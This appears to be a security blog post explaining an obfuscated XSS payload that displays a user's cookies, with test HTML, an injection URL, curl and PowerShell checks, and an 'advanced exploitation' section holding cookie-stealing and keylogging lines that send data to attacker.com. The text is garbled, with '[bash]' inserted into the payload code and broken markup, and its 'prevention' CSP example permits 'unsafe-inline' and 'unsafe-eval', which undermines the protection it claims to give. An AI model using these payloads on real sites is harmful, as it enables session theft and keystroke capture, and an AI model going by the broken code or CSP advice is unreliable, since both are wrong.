XSS Payload Analysis and Exploitation

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The provided XSS payload is a cleverly obfuscated JavaScript snippet designed to trigger an alert displaying the user’s cookies when a victim hovers over an injected element. Here’s the decoded version:

"onmouseover=window<a href="document['cooki'+(['e','c','z'][bash])]">'al'+'er'+(['t','b','c'][bash])</a>;"

When executed, it effectively calls:

alert(document.cookie);

You Should Know:

How This XSS Payload Works

1. String Concatenation:

– `’al’ + ‘er’ + ‘t’` forms alert.
– `’cooki’ + ‘e’` forms cookie.

2. Array Indexing:

– `([‘t’,’b’,’c’]

)` returns <code>'t'</code>. 
- `(['e','c','z'][bash])` returns <code>'e'</code>.

<h2 style="color: yellow;">3. Event Trigger:</h2>

<ul>
<li>The payload uses `onmouseover` to execute when a user hovers over the element. </li>
</ul>

<h2 style="color: yellow;"> Testing XSS Payloads</h2>

<h2 style="color: yellow;">Use a local HTML file to test:</h2>

[bash]

<div %22onmouseover=window[%27al%27%2B%27er%27%2B([%27t%27,%27b%27,%27c%27][bash])](document[%27cooki%27%2B(['e','c','z'][bash])]);%22>Hover me</div>

Or via URL:

[/bash]
http://vuln-site.com/search?q=%22onmouseover=window[%27al%27%2B%27er%27%2B([%27t%27,%27b%27,%27c%27]

)](document[%27cooki%27%2B(['e','c','z'][bash])]);%22
[bash]

Preventing XSS Attacks 
- Use Content Security Policy (CSP): 
```bash
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'">

– Sanitize Inputs: Use libraries like DOMPurify.
– Encode Outputs: Use `encodeURIComponent()` in JavaScript.

Advanced XSS Exploitation

  • Stealing Cookies via XSS:
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  • Keylogging:
    document.onkeypress = (e) => fetch('https://attacker.com/log?key=' + e.key);

Linux & Windows Commands for XSS Testing

  • Curl to Test Reflected XSS:
    curl -G "http://test-site.com/search" --data-urlencode "q=<script>alert(1)</script>"
  • Using Burp Suite:
    java -jar burpsuite.jar
  • Windows PowerShell XSS Check:
    Invoke-WebRequest "http://test-site.com/search?q=<script>alert(1)</script>" | Select-String "alert"

Courses for Ethical Hacking & XSS

  1. Advanced XSS Exploitation
  2. Web Application Penetration Testing
  3. Ethical Hacking Masterclass

What Undercode Say

XSS remains a critical web vulnerability due to improper input validation. Attackers leverage obfuscation to bypass filters, making manual and automated testing essential. Always sanitize inputs, enforce CSP, and conduct regular security audits.

Expected Output:

A working XSS payload triggering `alert(document.cookie)` upon hovering, along with defensive measures to mitigate such attacks.

References:

Reported By: Zlatanh Look – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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